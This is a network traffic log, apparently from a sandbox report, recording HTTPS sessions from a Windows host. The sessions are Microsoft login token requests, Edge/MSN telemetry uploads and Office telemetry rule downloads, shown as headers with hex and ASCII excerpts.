Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:52 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-25 17:28:52 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 17:28:53 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 17:27:52 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BAY x-ms-request-id: 83e6f4ee-999b-45b6-a33e-e49eac072151 PPServer: PPV: 30 H: PH1PEPF00011E74 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 17:28:52 GMT Connection: close Content-Length: 11389
2024-11-25 17:28:53 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	49888	20.190.181.4	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:52 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-25 17:28:52 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 17:28:52 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 17:27:52 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BL2 x-ms-request-id: c8063dcf-6c13-4a2e-9c23-0f89fcbc13a9 PPServer: PPV: 30 H: BL02EPF0001D715 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 17:28:52 GMT Connection: close Content-Length: 1918
2024-11-25 17:28:52 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	49890	13.89.179.8	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:52 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732555729006&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 32637 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1C9027A36A1F6A1B109A32E16B066B17; _EDGE_S=F=1&SID=2411E70CCBC66AED1AC7F24ECAD16B79; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-25 17:28:52 UTC	16384	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 31 37 3a 32 38 3a 34 39 2e 30 30 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 31 33 66 33 38 36 61 2d 61 30 38 35 2d 34 35 61 34 2d 62 32 37 65 2d 30 36 32 37 32 32 38 66 64 61 33 61 22 2c 22 65 70 6f 63 68 22 3a 22 33 38 39 31 36 31 37 36 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-25T17:28:49.004Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"413f386a-a085-45a4-b27e-0627228fda3a","epoch":"389161769"},"app":{"locale"
2024-11-25 17:28:52 UTC	16253	OUT	Data Raw: 6c 75 6d 6e 22 2c 22 74 68 65 6d 65 22 3a 22 6c 69 67 68 74 22 2c 22 68 61 73 33 50 53 65 61 72 63 68 22 3a 66 61 6c 73 65 2c 22 69 73 53 65 61 72 63 68 41 42 22 3a 66 61 6c 73 65 2c 22 69 73 4d 6f 6e 65 74 69 7a 65 64 22 3a 66 61 6c 73 65 2c 22 70 69 76 6f 74 22 3a 22 22 2c 22 72 65 66 65 72 72 61 6c 22 3a 22 22 2c 22 64 77 65 6c 6c 54 69 6d 65 22 3a 30 7d 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 73 4d 6f 62 69 6c 65 22 3a 66 61 6c 73 65 2c 22 77 69 64 74 68 22 3a 31 32 38 30 2c 22 68 65 69 67 68 74 22 3a 39 38 34 2c 22 73 63 72 65 65 6e 53 69 7a 65 22 3a 22 31 32 38 30 78 31 30 32 34 22 2c 22 63 6c 69 65 6e 74 49 64 22 3a 22 31 43 39 30 32 37 41 33 36 41 31 46 36 41 31 42 31 30 39 41 33 32 45 31 36 42 30 36 36 42 31 37 22 2c 22 73 63 72 6f 6c 6c 4f 66 Data Ascii: lumn","theme":"light","has3PSearch":false,"isSearchAB":false,"isMonetized":false,"pivot":"","referral":"","dwellTime":0},"browser":{"isMobile":false,"width":1280,"height":984,"screenSize":"1280x1024","clientId":"1C9027A36A1F6A1B109A32E16B066B17","scrollOf
2024-11-25 17:28:52 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=9c3fda9b291e46a487be59d90cb9770b&HASH=9c3f&LV=202411&V=4&LU=1732555732377; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 17:28:52 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=46ce09b92f3645f0bb6ebaf2d8b73173; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 17:58:52 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3371 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 17:28:52 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:52 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:53 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 449238ea-501e-0029-7d7c-3bd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172853Z-174c587ffdf59vqchC1TEByk6800000006fg000000002fn4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:53 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:52 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:53 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:53 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 1ea24147-701e-000d-3aeb-3e6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172853Z-174c587ffdfldtt2hC1TEBwv9c000000061g00000000ka3t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:53 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	49897	13.89.179.8	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:52 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732555729985&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9313 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1C9027A36A1F6A1B109A32E16B066B17; _EDGE_S=F=1&SID=2411E70CCBC66AED1AC7F24ECAD16B79; _EDGE_V=1; msnup=
2024-11-25 17:28:52 UTC	9313	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 31 37 3a 32 38 3a 34 39 2e 39 38 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 31 33 66 33 38 36 61 2d 61 30 38 35 2d 34 35 61 34 2d 62 32 37 65 2d 30 36 32 37 32 32 38 66 64 61 33 61 22 2c 22 65 70 6f 63 68 22 3a 22 33 38 39 31 36 31 37 36 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-25T17:28:49.984Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"413f386a-a085-45a4-b27e-0627228fda3a","epoch":"389161769"},"app":{"loca
2024-11-25 17:28:53 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=6125d9378beb4fbe8b09cdd5ec475e24&HASH=6125&LV=202411&V=4&LU=1732555733162; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 17:28:53 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=9a6b4b83d61e4710b63d295a20459a49; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 17:58:53 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3177 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 17:28:53 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:53 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:53 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 1e280d2f-401e-0029-0d7f-3b9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172853Z-174c587ffdfmlsmvhC1TEBvyks00000006f00000000043rk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:53 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:53 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:53 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 753d71cc-101e-0065-41b6-3e4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172853Z-178bfbc474bh5zbqhC1NYCkdug00000007q000000000em22 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:53 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	49898	13.89.179.8	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:53 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732555729989&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5276 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com 